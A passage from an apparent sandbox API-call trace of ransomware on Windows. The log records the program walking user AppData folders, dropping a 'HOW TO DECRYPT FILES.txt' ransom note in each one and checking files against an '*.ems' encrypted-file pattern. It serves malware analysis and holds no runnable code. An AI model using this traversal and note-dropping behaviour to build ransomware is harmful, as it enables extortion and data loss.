ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.980] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.980] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0087.980] lstrcmpA (lpString1=".", lpString2="Internet Explorer") returned -1 [0087.980] lstrcmpA (lpString1="..", lpString2="Internet Explorer") returned -1 [0087.981] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.981] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0087.981] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.981] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.982] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.982] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.982] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.982] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0087.982] lstrcmpA (lpString1=".", lpString2="Quick Launch") returned -1 [0087.982] lstrcmpA (lpString1="..", lpString2="Quick Launch") returned -1 [0087.982] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*") returned="*.*" [0087.982] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0087.982] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.982] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.982] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.982] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.983] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.983] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4eb35ad0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.983] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.983] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0087.983] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0087.983] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0087.983] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*") returned="*.*" [0087.983] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0087.983] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="" [0087.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" [0087.983] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to decrypt files.txt")) returned 0xffffffff [0087.983] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0087.987] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.987] CloseHandle (hObject=0x98) returned 1 [0087.987] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0087.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini", pszSpec="*.ems") returned 0 [0087.987] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a683760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0087.987] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.987] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Google Chrome.lnk") returned -1 [0087.987] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Google Chrome.lnk") returned 1 [0087.987] lstrcmpiA (lpString1="", lpString2="Google Chrome.lnk") returned -1 [0087.987] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="desktop.ini" [0087.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0087.988] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="" [0087.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" [0087.988] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to decrypt files.txt")) returned 0x20 [0087.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0087.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk", pszSpec="*.ems") returned 0 [0087.988] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb0f970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4eb0f970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4eb0f970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x680063, dwReserved1=0x48005c, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1 [0087.988] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Launch Internet Explorer Browser.lnk") returned -1 [0087.988] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Launch Internet Explorer Browser.lnk") returned -1 [0087.988] lstrcmpiA (lpString1="", lpString2="Launch Internet Explorer Browser.lnk") returned -1 [0087.988] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="Google Chrome.lnk" [0087.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0087.988] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="" [0087.989] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" [0087.989] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to decrypt files.txt")) returned 0x20 [0087.989] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Launch Internet Explorer Browser.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk" [0087.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk", pszSpec="*.ems") returned 0 [0087.989] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x680063, dwReserved1=0x48005c, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0087.989] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.989] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Shows Desktop.lnk") returned -1 [0087.989] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Shows Desktop.lnk") returned -1 [0087.989] lstrcmpiA (lpString1="", lpString2="Shows Desktop.lnk") returned -1 [0087.989] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk") returned="Launch Internet Explorer Browser.lnk" [0087.989] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0087.989] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="" [0087.989] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" [0087.990] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to decrypt files.txt")) returned 0x20 [0087.990] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0087.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk", pszSpec="*.ems") returned 0 [0087.990] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680063, dwReserved1=0x48005c, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0087.990] lstrcmpA (lpString1=".", lpString2="User Pinned") returned -1 [0087.990] lstrcmpA (lpString1="..", lpString2="User Pinned") returned -1 [0087.990] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="Shows Desktop.lnk" [0087.990] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="User Pinned" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0087.990] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x52d61e, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.990] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.990] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0087.990] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.991] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.991] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0087.991] lstrcmpA (lpString1=".", lpString2="ImplicitAppShortcuts") returned -1 [0087.991] lstrcmpA (lpString1="..", lpString2="ImplicitAppShortcuts") returned -1 [0087.991] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*.*") returned="*.*" [0087.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\", lpString2="ImplicitAppShortcuts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0087.991] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0087.992] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.992] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.992] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.992] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.992] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.992] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0087.992] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: 